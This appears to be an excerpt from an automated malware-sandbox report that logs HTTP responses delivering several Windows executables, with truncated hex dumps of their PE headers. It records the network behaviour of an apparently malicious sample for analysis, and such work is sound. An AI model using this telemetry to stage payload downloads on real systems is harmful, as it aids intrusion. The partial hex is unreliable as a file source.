73 72 63 00 00 00 f0 d7 00 00 00 c0 04 02 00 d8 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 11:49:08 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Fri, 26 Jul 2024 11:16:06 GMTConnection: keep-aliveETag: "66a38576-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 0f 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
